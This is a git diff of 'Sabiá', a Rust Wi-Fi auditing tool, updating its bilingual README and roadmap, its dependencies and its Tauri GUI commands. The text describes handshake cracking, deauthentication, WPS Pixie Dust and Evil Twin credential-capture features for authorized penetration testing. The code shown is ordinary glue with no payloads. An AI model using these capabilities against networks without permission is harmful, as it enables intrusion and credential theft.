- **Cracking, three ways:** dictionary (9.7M passwords bundled by default, rockyou + Probable-Wordlists), hashcat-style **mutation rules**, and **mask brute force** (`?d?l?u?s?a`) — recomputes the PMK with **PBKDF2-HMAC-SHA1** and checks the **MIC** (4-way) or the **PMKID** — for WPA/WPA2-PSK. Export to **`.hc22000`** to hand the handshake to hashcat/John instead.
|
||||
- **pcap round-trip:** writes captured frames to `.pcap` and **analyzes a `.pcap` offline** (networks, clients and handshakes), interoperable with the other tools.
|
||||
- **Deauthentication test:** sends _deauth_ to an AP/station to force a reassociation — only with an explicit authorization confirmation (`--yes`).
|
||||
- **Deauthentication and WPS:** directional/continuous _deauth_, PMF probing, clientless PMKID hunting, and a WPS PIN/Pixie Dust attack (bundled reaver, or bully when installed) — all gated behind an explicit authorization confirmation (`--yes` / checkbox).
|
||||
- **Evil Twin:** clones an already-seen AP with a captive portal for WPA/WPA2-PSK — the submitted password is only accepted after it's verified against the real captured handshake, never "accepts anything" — plus an Enterprise (802.1X/EAP) variant that captures credentials automatically, no portal needed.
|
||||
- **Audit report:** a paginated, printable report (cover, table of contents, findings, channel scoring, audit trail) generated locally.
|
||||
- **Audit trail:** every monitor-mode activation and capture session is recorded in a local **hash-chained** trail.
|
||||
- **Diagnostics:** `doctor` checks privileges, tools and interfaces before you start.
|
||||
|
||||
@@ -35,17 +37,18 @@ Download the package for your system from **[Releases](../../releases)**:
|
||||
|
||||
| | CLI | Desktop app |
|
||||
|---|---|---|
|
||||
| Windows | `sabia-*-windows-x86_64.zip` | `.msi` / `.exe` installer |
|
||||
| macOS | `sabia-*-macos-{aarch64,x86_64}.tar.gz` | `.dmg` |
|
||||
| Windows | — | `.exe` installer |
|
||||
| Linux | `sabia-*-linux-{x86_64,aarch64}.tar.gz` | `.AppImage` / `.deb` |
|
||||
|
||||
Each file has a `.sha256` next to it. Build from source: `cargo build --release -p sabia-cli` (Rust 1.80+).
|
||||
The CLI is Linux-only; the desktop app ships for Linux and Windows. Each CLI
|
||||
package has a `.sha256` next to it. Build from source: `cargo build --release
|
||||
-p sabia-cli` (Rust 1.80+, Linux).
|
||||
|
||||
**Updates:** the desktop app checks GitHub on startup; when a new version exists, a button offers **Update now**: it downloads the right binary for your platform, verifies the **SHA-256** and swaps the running executable — no manual download. The check is a single request to the releases API and sends nothing of yours.
|
||||
**Updates:** the desktop app checks Gitea on startup; when a new version exists, a button offers **Update now**. The CLI updates the same way (`sabia update`); it downloads the right binary for your platform, verifies the **SHA-256** and swaps the running executable — no manual download. The check is a single request to the releases API and sends nothing of yours.
|
||||
|
||||
> The binaries are **not signed yet**: Windows SmartScreen and macOS Gatekeeper will warn. Check the SHA-256.
|
||||
> The binaries are **not signed yet**: Windows SmartScreen will warn. Check the SHA-256.
|
||||
|
||||
**Capture and monitor mode require Linux and root** (`CAP_NET_ADMIN`/`CAP_NET_RAW`): raw capture uses `AF_PACKET` and interface control uses netlink. **Offline `.pcap` analysis and cracking** also run on Windows and macOS. The desktop app elevates to administrator on its own at startup.
|
||||
**Capture and monitor mode require Linux and root** — the only platform the CLI ships for (`CAP_NET_ADMIN`/`CAP_NET_RAW`): raw capture uses `AF_PACKET` and interface control uses netlink. **Offline `.pcap` analysis and cracking** also run on Windows and macOS. The desktop app elevates to administrator on its own at startup.
|
||||
|
||||
## Getting started
|
||||
|
||||
@@ -72,11 +75,11 @@ Desktop app (Tauri) with an interface sidebar, a capture panel with an animated
|
||||
|
||||
## Known limits
|
||||
|
||||
- **Capture is Linux-only**, with a card that supports **monitor mode** (and injection, for `deauth`). On Windows and macOS Sabiá only does `.pcap` analysis and offline cracking.
|
||||
- **Capture is Linux-only**, with a card that supports **monitor mode** (and injection, for `deauth`); the CLI is not built for other platforms. On Windows Sabiá's desktop app only does `.pcap` analysis and offline cracking.
|
||||
- **WPA3/SAE** does not fall to handshake dictionaries — cracking covers **WPA/WPA2-PSK** (4-way and PMKID).
|
||||
- **5 and 6 GHz** depend on the card and the regulatory domain; some channels stay passive (no probing).
|
||||
- **Passwords outside the dictionary don't come back:** cracking is dictionary force only, no rules or masks yet.
|
||||
- **Windows and macOS:** the code compiles and is tested in CI, but live capture does not run on those platforms.
|
||||
- **Evil Twin's self-signed certificate:** the Enterprise variant's TLS certificate isn't trusted by clients that validate the chain (common on updated corporate/MDM devices) — that's the correct defense working, not a bug.
|
||||
- **Windows:** the code compiles and is tested in CI, but live capture does not run there; the desktop app does offline analysis only. There is no macOS build: Tauri needs the macOS SDK and code signing, both tied to Apple hardware and an Apple Developer account, which this project's CI (a single Linux runner) does not have.
|
||||
|
||||
## Where it's going
|
||||
|
||||
@@ -84,10 +87,10 @@ Summary of the [ROADMAP](ROADMAP.md):
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| **Done** | Monitor mode via netlink, 2.4/5/6 GHz scanning, 4-way and PMKID capture, `.pcap` read/write, dictionary cracking (WPA/WPA2-PSK), authorized `deauth`, hash-chained audit trail, `doctor`, CLI + desktop app, one-click update |
|
||||
| **Next** | Rules and masks in cracking, GPU acceleration, export to the hashcat format (`22000`) |
|
||||
| **Later** | WPS attack, rogue AP / evil twin for authorized testing, capture on Windows (Npcap) |
|
||||
| **Long term** | WPA3/SAE downgrade, validation on varied hardware |
|
||||
| **Done** | Monitor mode via netlink (with NetworkManager recovery), 2.4/5/6 GHz scanning, 4-way and PMKID capture, CCMP decryption, dictionary/rules/mask cracking (WPA/WPA2-PSK), `.hc22000` export, `.pcap` read/write, authorized `deauth`/PMF/PMKID, WPS attack, Evil Twin (PSK + Enterprise), channel scoring and findings, paginated audit report, hash-chained audit trail, `doctor`, CLI + desktop app, one-click update |
|
||||
| **Next** | GPU acceleration for cracking, capture on Windows (Npcap) |
|
||||
| **Not planned** | A macOS build — see [Known limits](#known-limits) |
|
||||
| **Later** | WPA3/SAE downgrade, validation on varied hardware, signed release binaries |
|
||||
|
||||
## Development
|
||||
|
||||
|
||||
+22
-19
@@ -1,6 +1,6 @@
|
||||
<p align="center"><img src="apps/gui/ui/sabia.png" width="300" alt="Sabiá"></p>
|
||||
<h1 align="center">Sabiá</h1>
|
||||
<p align="center">Auditoria de Wi-Fi livre e gratuita.<br>Terminal e interface gráfica · captura no Linux, análise offline em Windows, Linux e macOS · uso autorizado.</p>
|
||||
<p align="center">Auditoria de Wi-Fi livre e gratuita.<br>Terminal e interface gráfica · captura no Linux, análise offline também em Windows · uso autorizado.</p>
|
||||
|
||||
<p align="center"><a href="docs/pt-BR/cli.md">Terminal</a> · <a href="docs/pt-BR/interface.md">Interface</a> · <a href="docs/pt-BR/arquitetura.md">Arquitetura</a> · <a href="ROADMAP.pt-BR.md">Roadmap</a> · <a href="CHANGELOG.pt-BR.md">Changelog</a></p>
|
||||
|
||||
@@ -10,12 +10,14 @@
|
||||
|
||||
O Sabiá junta, numa única varredura, o que ferramentas como `airodump-ng`, `hcxdumptool`, `aircrack-ng` e `wifite` fazem separadamente — em um só binário Rust, sem depender de `libpcap`:
|
||||
|
||||
- **Descoberta de redes:** percorre os canais de **2.4, 5 e 6 GHz** e lista os pontos de acesso e os clientes associados, com SSID, BSSID, canal, sinal e tipo de segurança.
|
||||
- **Modo monitor sem scripts:** liga e desliga o modo monitor da placa direto pelo netlink/`iw`, e mostra os canais que o rádio suporta.
|
||||
- **Captura de handshake:** reconhece o **4-way handshake (EAPOL)** e o **PMKID** no ar e guarda só o que é preciso para a quebra offline.
|
||||
- **Quebra offline por dicionário:** recalcula a PMK com **PBKDF2-HMAC-SHA1** e confere o **MIC** (4-way) ou o **PMKID** (`HMAC-SHA1(PMK, "PMK Name" …)`) — para WPA/WPA2-PSK.
|
||||
- **Descoberta de redes:** percorre os canais de **2.4, 5 e 6 GHz** e lista os pontos de acesso e os clientes associados, com SSID, BSSID, canal, sinal, tipo de segurança, detalhes de WPS e fabricante.
|
||||
- **Modo monitor sem scripts:** liga e desliga o modo monitor da placa direto pelo netlink/`iw`, com recuperação automática se o NetworkManager tentar retomar a interface, e mostra os canais que o rádio suporta.
|
||||
- **Captura de handshake:** reconhece o **4-way handshake (EAPOL)** e o **PMKID** no ar e guarda só o que é preciso para a quebra offline; decifra tráfego CCMP de um cliente assim que a senha dele é conhecida.
|
||||
- **Quebra, de três jeitos:** dicionário (9,7 milhões de senhas por padrão, rockyou + Probable-Wordlists), **regras de mutação** estilo hashcat e **força bruta por máscara** (`?d?l?u?s?a`) — recalcula a PMK com **PBKDF2-HMAC-SHA1** e confere o **MIC** (4-way) ou o **PMKID** — para WPA/WPA2-PSK. Exporta em **`.hc22000`** para levar o handshake direto ao hashcat/John.
|
||||
- **pcap de ida e volta:** grava os quadros capturados em `.pcap` e **analisa um `.pcap` offline** (redes, clientes e handshakes), compatível com as outras ferramentas.
|
||||
- **Teste de desautenticação:** envia _deauth_ a um AP/estação para forçar uma reassociação — só com a confirmação explícita de autorização (`--yes`).
|
||||
- **Desautenticação e WPS:** _deauth_ direcional/contínuo, teste de PMF, caça de PMKID sem cliente, e ataque WPS PIN/Pixie Dust (reaver embutido, ou bully quando instalado) — tudo atrás de confirmação explícita de autorização (`--yes`/checkbox).
|
||||
- **Evil Twin:** clona um AP já visto com portal cativo para WPA/WPA2-PSK — a senha só é aceita depois de conferida contra o handshake real já capturado, nunca "aceita qualquer coisa" — mais uma variante Enterprise (802.1X/EAP) que captura credenciais automaticamente, sem portal.
|
||||
- **Relatório de auditoria:** relatório paginado e imprimível (capa, sumário, achados, pontuação de canais, trilha de auditoria) gerado localmente.
|
||||
- **Trilha de auditoria:** toda ativação de modo monitor e sessão de captura fica registrada numa trilha local **encadeada por hash**.
|
||||
- **Diagnóstico:** o `doctor` confere privilégios, ferramentas e interfaces antes de você começar.
|
||||
|
||||
@@ -35,17 +37,18 @@ Baixe o pacote do seu sistema em **[Releases](../../releases)**:
|
||||
|
||||
| | CLI | App gráfico |
|
||||
|---|---|---|
|
||||
| Windows | `sabia-*-windows-x86_64.zip` | instalador `.msi` / `.exe` |
|
||||
| macOS | `sabia-*-macos-{aarch64,x86_64}.tar.gz` | `.dmg` |
|
||||
| Windows | — | instalador `.exe` |
|
||||
| Linux | `sabia-*-linux-{x86_64,aarch64}.tar.gz` | `.AppImage` / `.deb` |
|
||||
|
||||
Cada arquivo tem um `.sha256` ao lado. Compilar do código: `cargo build --release -p sabia-cli` (Rust 1.80+).
|
||||
O CLI é só para Linux; o app desktop sai para Linux e Windows. Cada pacote do
|
||||
CLI tem um `.sha256` ao lado. Compilar do código: `cargo build --release -p
|
||||
sabia-cli` (Rust 1.80+, Linux).
|
||||
|
||||
**Atualizações:** o app desktop consulta o GitHub ao abrir; havendo versão nova, um botão oferece **Atualizar agora**: ele baixa o binário certo para a plataforma, confere o **SHA-256** e troca o executável em uso — você não precisa baixar nada na mão. A consulta é uma única requisição à API de releases e nada seu é enviado.
|
||||
**Atualizações:** o app desktop consulta o Gitea ao abrir; havendo versão nova, um botão oferece **Atualizar agora**. O CLI atualiza do mesmo jeito (`sabia update`); ele baixa o binário certo para a plataforma, confere o **SHA-256** e troca o executável em uso — você não precisa baixar nada na mão. A consulta é uma única requisição à API de releases e nada seu é enviado.
|
||||
|
||||
> Os binários ainda **não são assinados**: o SmartScreen (Windows) e o Gatekeeper (macOS) vão avisar. Confira o SHA-256.
|
||||
> Os binários ainda **não são assinados**: o SmartScreen do Windows vai avisar. Confira o SHA-256.
|
||||
|
||||
**Captura e modo monitor exigem Linux e privilégio de root** (`CAP_NET_ADMIN`/`CAP_NET_RAW`): a captura crua usa `AF_PACKET` e o controle de interface usa netlink. A **análise de `.pcap` e a quebra offline** rodam também em Windows e macOS. O app desktop pede elevação de administrador sozinho ao abrir.
|
||||
**Captura e modo monitor exigem Linux e privilégio de root** — a única plataforma para a qual o CLI é compilado (`CAP_NET_ADMIN`/`CAP_NET_RAW`): a captura crua usa `AF_PACKET` e o controle de interface usa netlink. A **análise de `.pcap` e a quebra offline** rodam também em Windows e macOS. O app desktop pede elevação de administrador sozinho ao abrir.
|
||||
|
||||
## Começando
|
||||
|
||||
@@ -72,11 +75,11 @@ App desktop (Tauri) com sidebar de interfaces, painel de captura com linha de si
|
||||
|
||||
## Limites conhecidos
|
||||
|
||||
- **Captura só no Linux**, com placa que suporte **modo monitor** (e injeção, para `deauth`). Em Windows e macOS o Sabiá faz só análise de `.pcap` e quebra offline.
|
||||
- **Captura só no Linux**, com placa que suporte **modo monitor** (e injeção, para `deauth`); o CLI não é compilado para outras plataformas. Em Windows o app desktop do Sabiá faz só análise de `.pcap` e quebra offline.
|
||||
- **WPA3/SAE** não cai por dicionário de handshake — a quebra cobre **WPA/WPA2-PSK** (4-way e PMKID).
|
||||
- **5 e 6 GHz** dependem da placa e do _regulatory domain_; alguns canais ficam passivos (sem _probe_).
|
||||
- **Senhas fora do dicionário não voltam:** a quebra é só força de dicionário, sem regras nem máscara ainda.
|
||||
- **Windows e macOS:** o código compila e é testado em CI, mas a captura ao vivo não roda nessas plataformas.
|
||||
- **Certificado autoassinado do Evil Twin Enterprise:** clientes que validam a cadeia de certificado da rede (comum em perfil corporativo/MDM atualizado) não confiam nele — é a defesa correta funcionando, não um bug.
|
||||
- **Windows:** o código compila e é testado em CI, mas a captura ao vivo não roda lá; o app desktop faz só análise offline. Não há build para macOS: o Tauri precisa do SDK do macOS e de assinatura, os dois presos a hardware Apple e a uma conta Apple Developer, que o CI deste projeto (um único runner Linux) não tem.
|
||||
|
||||
## Para onde vai
|
||||
|
||||
@@ -84,10 +87,10 @@ Resumo do [ROADMAP](ROADMAP.pt-BR.md):
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| **Feito** | Modo monitor por netlink, varredura 2.4/5/6 GHz, captura de 4-way e PMKID, escrita e leitura de `.pcap`, quebra por dicionário (WPA/WPA2-PSK), `deauth` autorizado, trilha de auditoria por hash, `doctor`, CLI + app desktop, atualização em um clique |
|
||||
| **Próximo** | Regras e máscaras na quebra, aceleração por GPU, exportação para o formato do hashcat (`22000`) |
|
||||
| **Depois** | Ataque a WPS, _rogue AP_/_evil twin_ para teste autorizado, captura em Windows (Npcap) |
|
||||
| **Longo prazo** | WPA3/SAE _downgrade_, validação em hardware variado |
|
||||
| **Feito** | Modo monitor por netlink (com recuperação do NetworkManager), varredura 2.4/5/6 GHz, captura de 4-way e PMKID, decriptação CCMP, quebra por dicionário/regras/máscara (WPA/WPA2-PSK), exportação `.hc22000`, escrita e leitura de `.pcap`, `deauth`/PMF/PMKID autorizados, ataque WPS, Evil Twin (PSK + Enterprise), pontuação de canais e achados, relatório de auditoria paginado, trilha de auditoria por hash, `doctor`, CLI + app desktop, atualização em um clique |
|
||||
| **Próximo** | Aceleração por GPU na quebra, captura em Windows (Npcap) |
|
||||
| **Fora de plano** | Um build para macOS — veja [Limites conhecidos](#limites-conhecidos) |
|
||||
| **Depois** | WPA3/SAE _downgrade_, validação em hardware variado, binários de release assinados |
|
||||
|
||||
## Desenvolvimento
|
||||
|
||||
|
||||
+18
-15
@@ -2,34 +2,37 @@
|
||||
|
||||
**English** · [Português](ROADMAP.pt-BR.md)
|
||||
|
||||
Sabiá does Wi-Fi auditing: it discovers networks, captures handshakes (4-way and PMKID), cracks WPA/WPA2-PSK by offline dictionary and tests deauthentication with authorization. Always for authorized use, with a local audit trail.
|
||||
Sabiá does Wi-Fi auditing: it discovers networks, captures handshakes (4-way and PMKID), cracks WPA/WPA2-PSK by dictionary/rules/mask, assesses WPS, PMF and evil twin exposure, and tests deauthentication and rogue-AP attacks with authorization. Always for authorized use, with a local audit trail.
|
||||
|
||||
## Done (0.1.0)
|
||||
## Done (1.0.0)
|
||||
|
||||
- **Monitor mode** and channel control via netlink/`iw`.
|
||||
- **Scanning** of 2.4, 5 and 6 GHz: APs and clients, with SSID, BSSID, channel, signal and security.
|
||||
- **Monitor mode** and channel control via netlink/`iw`, with automatic recovery from NetworkManager reclaiming the interface.
|
||||
- **Scanning** of 2.4, 5 and 6 GHz: APs and clients, with SSID, BSSID, channel, signal, security, WPS details, vendor and PHY standard.
|
||||
- Raw 802.11 capture via **AF_PACKET** (no libpcap), **radiotap** and management-frame parsing.
|
||||
- Capture of the **4-way handshake (EAPOL)** and the **PMKID**.
|
||||
- **Offline dictionary cracking** (PBKDF2-HMAC-SHA1, MIC and PMKID) for WPA/WPA2-PSK.
|
||||
- Capture of the **4-way handshake (EAPOL)** and the **PMKID**; **CCMP traffic decryption** once the password is known.
|
||||
- **Offline cracking** (PBKDF2-HMAC-SHA1, MIC and PMKID) for WPA/WPA2-PSK: a 9.7M-password dictionary (rockyou + Probable-Wordlists) by default, hashcat-style **mutation rules** and **mask brute force**.
|
||||
- **`.hc22000` export** to take the handshake straight to hashcat/John.
|
||||
- **`.pcap`** read and write; offline `.pcap` analysis.
|
||||
- Authorized **`deauth`** (`--yes` flag).
|
||||
- Authorized **`deauth`** (`--yes` flag), directional and continuous jobs, PMF probing, clientless PMKID hunting.
|
||||
- **WPS attack** (PIN/Pixie Dust) via a bundled reaver, or bully when installed.
|
||||
- **Evil Twin** with captive portal for WPA/WPA2-PSK (password only accepted after cryptographic verification against the real handshake) and a credential-capture variant for WPA2/WPA3-Enterprise (802.1X/EAP).
|
||||
- Channel-interference scoring and security findings (open network, no PMF, WPS exposed, possible evil twin).
|
||||
- Redesigned, paginated **audit report** (cover, table of contents, running header/footer) that prints to PDF from the browser.
|
||||
- Local hash-chained **audit trail**; `doctor` diagnostics.
|
||||
- **CLI** + **desktop app** (Tauri) + local UI server; **one-click update**.
|
||||
|
||||
## Next
|
||||
|
||||
- **Rules and masks** in cracking (hashcat style), beyond the plain dictionary.
|
||||
- **`22000` export** to take the handshake straight to hashcat/John.
|
||||
- **GPU** acceleration for PMK derivation.
|
||||
|
||||
## Later
|
||||
|
||||
- **WPS attack** (PIN/Pixie Dust) in authorized testing.
|
||||
- **Rogue AP / evil twin** for client assessment, with authorization.
|
||||
- **Capture on Windows** via Npcap.
|
||||
|
||||
## Long term
|
||||
## Later
|
||||
|
||||
- **WPA3/SAE**: detection and downgrade paths where applicable.
|
||||
- Validation on **varied hardware** (chipsets and regulatory domains).
|
||||
- Signing of release binaries (SmartScreen/Gatekeeper).
|
||||
|
||||
## Long term
|
||||
|
||||
- GPU-accelerated cracking backend (hashcat integration beyond export).
|
||||
- Packaged distribution (`apt`/`brew`/winget).
|
||||
+18
-15
@@ -2,34 +2,37 @@
|
||||
|
||||
[English](ROADMAP.md) · **Português**
|
||||
|
||||
O Sabiá faz auditoria de Wi-Fi: descobre redes, captura handshakes (4-way e PMKID), quebra WPA/WPA2-PSK por dicionário offline e testa desautenticação com autorização. Sempre de uso autorizado, com trilha de auditoria local.
|
||||
O Sabiá faz auditoria de Wi-Fi: descobre redes, captura handshakes (4-way e PMKID), quebra WPA/WPA2-PSK por dicionário/regras/máscara, avalia exposição a WPS, PMF e evil twin, e testa desautenticação e ataques de rogue AP com autorização. Sempre de uso autorizado, com trilha de auditoria local.
|
||||
|
||||
## Feito (0.1.0)
|
||||
## Feito (1.0.0)
|
||||
|
||||
- Controle de **modo monitor** e de canal por netlink/`iw`.
|
||||
- **Varredura** de 2.4, 5 e 6 GHz: APs e clientes, com SSID, BSSID, canal, sinal e segurança.
|
||||
- Controle de **modo monitor** e de canal por netlink/`iw`, com recuperação automática quando o NetworkManager tenta retomar a interface.
|
||||
- **Varredura** de 2.4, 5 e 6 GHz: APs e clientes, com SSID, BSSID, canal, sinal, segurança, detalhes de WPS, fabricante e padrão PHY.
|
||||
- Captura crua de 802.11 por **AF_PACKET** (sem libpcap), parsing de **radiotap** e de quadros de gerenciamento.
|
||||
- Captura de **4-way handshake (EAPOL)** e de **PMKID**.
|
||||
- **Quebra offline** por dicionário (PBKDF2-HMAC-SHA1, MIC e PMKID) para WPA/WPA2-PSK.
|
||||
- Captura de **4-way handshake (EAPOL)** e de **PMKID**; **decriptação de tráfego CCMP** quando a senha é conhecida.
|
||||
- **Quebra offline** (PBKDF2-HMAC-SHA1, MIC e PMKID) para WPA/WPA2-PSK: dicionário padrão de 9,7 milhões de senhas (rockyou + Probable-Wordlists), **regras de mutação** estilo hashcat e **força bruta por máscara**.
|
||||
- **Exportação `.hc22000`** para levar o handshake direto ao hashcat/John.
|
||||
- Escrita e leitura de **`.pcap`**; análise de `.pcap` offline.
|
||||
- **`deauth`** autorizado (flag `--yes`).
|
||||
- **`deauth`** autorizado (flag `--yes`), jobs direcionais e contínuos, teste de PMF, caça de PMKID sem cliente.
|
||||
- **Ataque WPS** (PIN/Pixie Dust) via reaver embutido, ou bully quando instalado.
|
||||
- **Evil Twin** com portal cativo para WPA/WPA2-PSK (senha só aceita após verificação criptográfica contra o handshake real) e variante de captura automática de credencial para WPA2/WPA3-Enterprise (802.1X/EAP).
|
||||
- Pontuação de interferência de canais e achados de segurança (rede aberta, sem PMF, WPS exposto, possível evil twin).
|
||||
- **Relatório de auditoria** redesenhado e paginado (capa, sumário, cabeçalho/rodapé corridos) que imprime em PDF pelo navegador.
|
||||
- **Trilha de auditoria** local encadeada por hash; `doctor` de diagnóstico.
|
||||
- **CLI** + **app desktop** (Tauri) + servidor local da UI; **atualização em um clique**.
|
||||
|
||||
## Próximo
|
||||
|
||||
- **Regras e máscaras** na quebra (estilo hashcat), além do dicionário puro.
|
||||
- **Exportação `22000`** para levar o handshake direto ao hashcat/John.
|
||||
- Aceleração por **GPU** na derivação da PMK.
|
||||
|
||||
## Depois
|
||||
|
||||
- **Ataque a WPS** (PIN/Pixie Dust) em teste autorizado.
|
||||
- **Rogue AP / evil twin** para avaliação de clientes, com autorização.
|
||||
- **Captura em Windows** via Npcap.
|
||||
|
||||
## Longo prazo
|
||||
## Depois
|
||||
|
||||
- **WPA3/SAE**: detecção e caminhos de _downgrade_ onde aplicável.
|
||||
- Validação em **hardware variado** (chipsets e _regulatory domains_).
|
||||
- Assinatura dos binários de release (SmartScreen/Gatekeeper).
|
||||
|
||||
## Longo prazo
|
||||
|
||||
- Backend de quebra acelerado por GPU (integração com hashcat além da exportação).
|
||||
- Distribuição empacotada (`apt`/`brew`/winget).
|
||||
Generated
+34
-2
@@ -8,6 +8,17 @@ version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "aes"
|
||||
version = "0.8.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cipher",
|
||||
"cpufeatures",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "aho-corasick"
|
||||
version = "1.1.5"
|
||||
@@ -322,6 +333,16 @@ dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cipher"
|
||||
version = "0.4.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||
dependencies = [
|
||||
"crypto-common",
|
||||
"inout",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "combine"
|
||||
version = "4.6.9"
|
||||
@@ -1474,6 +1495,15 @@ dependencies = [
|
||||
"cfb",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "inout"
|
||||
version = "0.1.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ipnet"
|
||||
version = "2.12.2"
|
||||
@@ -2508,8 +2538,10 @@ checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f"
|
||||
|
||||
[[package]]
|
||||
name = "sabia-core"
|
||||
version = "0.1.0"
|
||||
version = "1.0.1"
|
||||
dependencies = [
|
||||
"aes",
|
||||
"flate2",
|
||||
"hmac",
|
||||
"libc",
|
||||
"md-5",
|
||||
@@ -2523,7 +2555,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "sabia-gui"
|
||||
version = "0.1.0"
|
||||
version = "1.0.1"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"sabia-core",
|
||||
|
||||
@@ -3,10 +3,10 @@
|
||||
[package]
|
||||
name = "sabia-gui"
|
||||
description = "Sabiá: interface gráfica de auditoria de Wi-Fi"
|
||||
version = "0.1.0"
|
||||
version = "1.0.1"
|
||||
edition = "2021"
|
||||
license = "MIT OR Apache-2.0"
|
||||
repository = "https://github.com/lucasrguerra/sabia"
|
||||
repository = "https://git.lucasrguerra.dev.br/lucasrguerra/sabia"
|
||||
rust-version = "1.80"
|
||||
|
||||
[workspace]
|
||||
|
||||
+533
-11
@@ -1,7 +1,7 @@
|
||||
// Evita a janela de console extra no Windows em release.
|
||||
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
|
||||
|
||||
use sabia_core::engine::Engine;
|
||||
use sabia_core::engine::{Engine, ScanOptions};
|
||||
use std::sync::Arc;
|
||||
|
||||
struct State(Arc<Engine>);
|
||||
@@ -19,7 +19,10 @@ fn list_ifaces(state: tauri::State<'_, State>) -> Result<serde_json::Value, Stri
|
||||
|
||||
#[tauri::command]
|
||||
fn set_monitor(state: tauri::State<'_, State>, iface: String, enable: bool) -> Result<(), String> {
|
||||
state.0.set_monitor(&iface, enable).map_err(|e| e.to_string())
|
||||
state
|
||||
.0
|
||||
.set_monitor(&iface, enable)
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
@@ -33,10 +36,465 @@ fn stop_scan(state: tauri::State<'_, State>, iface: String) {
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn scan_results(state: tauri::State<'_, State>, iface: String) -> Result<serde_json::Value, String> {
|
||||
fn scan_results(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
serde_json::to_value(state.0.scan_results(&iface)).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn scan_snapshot(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let snapshot = state.0.scan_snapshot(&iface).map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(snapshot).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn scan_clients(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
serde_json::to_value(state.0.scan_clients(&iface)).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn handshakes(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: Option<String>,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
serde_json::to_value(state.0.handshakes(iface.as_deref())).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn export_handshake(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
bssid: String,
|
||||
station: String,
|
||||
out: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let report = state
|
||||
.0
|
||||
.export_handshake(&iface, &bssid, &station, &out)
|
||||
.map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn export_all_handshakes(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
out: String,
|
||||
) -> Result<serde_json::Value, String> {
|
||||
let report = state
|
||||
.0
|
||||
.export_all_handshakes(&iface, &out)
|
||||
.map_err(|e| e.to_string())?;
|
||||
serde_json::to_value(report).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn start_crack(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
wordlist: Option<String>,
|
||||
bssid: Option<String>,
|
||||
station: Option<String>,
|
||||
rules: Option<bool>,
|
||||
) -> Result<String, String> {
|
||||
let rules = rules.unwrap_or(false);
|
||||
let result = match wordlist.filter(|w| !w.trim().is_empty()) {
|
||||
Some(wordlist) => state.0.start_crack(
|
||||
&iface,
|
||||
bssid.as_deref(),
|
||||
station.as_deref(),
|
||||
&wordlist,
|
||||
rules,
|
||||
),
|
||||
None => state
|
||||
.0
|
||||
.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules),
|
||||
};
|
||||
result.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn start_crack_mask(
|
||||
state: tauri::State<'_, State>,
|
||||
iface: String,
|
||||
mask: String,
|
||||
bssid: Option<String>,
|
||||
station: Option<String>,
|
||||
max_candidates: Option<u64>,
|
||||
) -> Result<String, String> {
|
||||
state
|
||||
.0
|
||||
.start_crack_mask(
|
||||
&iface,
|
||||
bssid.as_deref(),
|
||||
station.as_deref(),
|
||||
&mask,
|
||||
max_candidates.unwrap_or(50_000_000),
|
||||
)
|
||||
.map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn crack_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
|
||||
match state.0.crack_job(&id) {
|
||||
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||
None => Err("job não encontrado".into()),
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
